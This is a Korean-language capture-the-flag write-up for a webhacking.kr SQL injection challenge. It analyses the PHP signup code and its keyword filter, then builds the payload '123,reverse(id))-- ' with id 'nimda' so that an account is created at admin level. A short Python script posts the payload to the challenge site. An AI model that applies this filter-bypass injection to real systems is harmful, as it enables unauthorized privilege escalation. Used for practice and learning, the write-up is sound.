문제분석 & 풀이
ID 와 phone를 이용해서 계정을 가입하고 로그인 할 수 있게 구성됐다.
코드를 분석해보자.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
$db = dbconnect();
if($_POST['lid'] && isset($_POST['lphone'])){
$_POST['lid'] = addslashes($_POST['lid']);
$_POST['lphone'] = addslashes($_POST['lphone']);
$result = mysqli_fetch_array(mysqli_query($db,"select id,lv from chall59 where id='{$_POST['lid']}' and phone='{$_POST['lphone']}'"));
if($result['id']){
echo "id : {$result['id']}<br>lv : {$result['lv']}<br><br>";
if($result['lv'] == "admin"){
mysqli_query($db,"delete from chall59");
solve(59);
}
echo "<br><a href=./?view_source=1>view-source</a>";
exit();
}
}
if($_POST['id'] && isset($_POST['phone'])){
$_POST['id'] = addslashes($_POST['id']);
$_POST['phone'] = addslashes($_POST['phone']);
if(strlen($_POST['phone'])>=20) exit("Access Denied");
if(preg_match("/admin/i",$_POST['id'])) exit("Access Denied");
if(preg_match("/admin|0x|#|hex|char|ascii|ord|select/i",$_POST['phone'])) exit("Access Denied");
mysqli_query($db,"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')");
}
?>
if문으로 구분되는 2가지 로직이 있다.
나눠서 분석해보자.
○ lid, lphone
1) lid, lphone 을 addslashes()로 이스케이프 처리한다.
2) sql 쿼리를 실행하고 결과를 가져온다.
3) 결과로 id가 존재하면 id와 lv를 화면에 띄운다.
→ 이때, lv가 "admin"이면 클리어
○ id, phone
1) id, phone 을 addslashes()로 이스케이프 처리한다.
2) phone 길이가 20자리 이상이면 "access denied"를 출력하고 종료한다.
3) id는 [admin], phone은 [admin , 0x , # , hex , char , ascii , ord , select] 를 정규표현식으로 필터링한다.
4) 필터링에 걸리지 않고 통과하면 insert문 쿼리를 실행해서 DB에 데이터를 저장한다.
→ lv는 기본적으로 "guest"로 설정해서 저장한다.
정리하면, 1번째 if문은 로그인이고 2번째 if문은 계정 생성 기능을 수행한다.
목적은 lv가 "admin"인 계정으로 로그인을 해야한다.
문제는 계정을 생성할 때, lv가 "guest"로 고정된 상태로 생성된다는 점이다.
이 부분을 우회해서 lv가 "admin"인 계정을 생성해야한다.
insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')
insert문을 파악해보자.
id는 '' 로 덮여있는데, addslashes()로 이스케이프 처리되서 ' 를 사용할 수가 없고 인젝션이 불가능하다.
결국, phone으로 인젝션을 시도해야한다.
핵심은 lv다.
'guest' 부분에 'admin'을 입력해야하는데, 문제는 정규표현식에 의해 "admin"을 사용할 수 없고 16진수로 우회하려해도 0x가 막혀있어서 불가능하다.
0b를 이용해서 2진수로 "admin"을 우회해보려했지만 phone의 최대 글자수가 19글자라서 사용할 수 없다.
id가 "admin"인 데이터를 16진수로 우회해서 넣어놓고 다시 계정을 생성할때 서브쿼리를 이용해서 "admin"에 접근하는 방식도 생각해봤지만 select가 막혀있어서 이것도 불가능하다.
필자는 더 이상 방법이 떠오르지 않아서 SQL 문법을 찾아봤고 reverse() 라는 함수를 찾았다.
reverse()는
reverse('123') == "321"
과 같이 사용되는 함수이다.
그렇다면 reverse()를 이용해서 lv를 "admin"으로 표현할 수 있지 않을까?
('nimda',123,reverse(id))-- ,'guest')
insert문에서 values 다음 부분만 가져와서 payload를 완성했다.
계정생성 과정에서 id에 "admin"의 reverse인 "nimda"를 삽입하고 phone으로 인젝션을 시도한다.
이때, lv에 reverse()를 이용해서 id를 인자로 사용하고 "nimda"를 "admin"으로 바꿔주면, lv에 "admin"을 표현할 수 있다.
주석으로 필요없는 뒷 부분을 없애야하는데 #를 사용할 수 없어서 --[공백]을 사용했다.
(참고: --뒤에 "공백"을 붙이지 않으면 주석처리가 되지 않는다.)
id = 'nimda'
phone = 123
lv = 'admin'
데이터는 위와 같이 저장된다.
작성한 payload를 이용해서 lv가 "admin"인 계정을 생성해보자.
from requests import *
url='https://webhacking.kr/challenge/web-36/'
data={'id':'nimda','phone':'123,reverse(id))-- '}
response=post(url=url,data=data)
print(response.text)
lv가 "admin"인 데이터를 DB에 저장했고 로그인을 해보자.